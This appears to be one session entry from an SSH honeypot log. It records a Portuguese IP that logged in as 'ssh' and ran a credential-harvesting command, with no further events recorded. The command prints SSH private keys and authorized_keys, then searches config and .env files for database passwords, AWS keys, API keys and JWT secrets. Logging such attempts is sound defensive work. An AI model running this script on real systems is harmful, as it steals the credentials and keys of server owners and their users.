| IP | 85.243.129.112 |
| Country | PT |
| Username | ssh |
| Shell | roomba |
| Exec Command |
( echo "== sshkeys";
for d in /root /home; do
for u in "$d"/*; do [ -d "$u/.ssh" ] && ls -la "$u/.ssh" 2>/dev/null; done 2>/dev/null;
done;
for f in /root/.ssh/id_* /home/*/.ssh/id_* /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys /root/.ssh/known_hosts; do
[ -f "$f" ] && { echo "-- $f"; head -c 2500 "$f" 2>/dev/null; };
done;
echo "== envfiles";
find /root /var/www /opt /srv /home -maxdepth 4 -type f \( -name ".env" -o -name ".env.*" -o -name "wp-config.php" -o -name ".my.cnf" -o -name "docker-compose.yml" -o -name "docker-compose.yaml" -o -name "config.local.php" \) 2>/dev/null | head -40 > /tmp/_bc.f;
grep -rHnE "DB_PASSWORD|DB_PASS|DB_USER|MYSQL_ROOT_PASSWORD|SMTP_PASS|MAIL_PASSWORD|AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|SECRET_KEY|API_KEY|JWT_SECRET|REDIS_PASSWORD|MONGO_URI" $(cat /tmp/_bc.f) 2>/dev/null | head -60;
rm -f /tmp/_bc.f;
) 2>/dev/null
|
| Score | - |
| Connected | 2026-11-03 00:32:04 UTC |
| Disconnected | 2026-11-03 00:32:04 UTC |
Session 77a21216-8e3d-4173-94ee-88ec9ab6d24a
No recorded events for this session.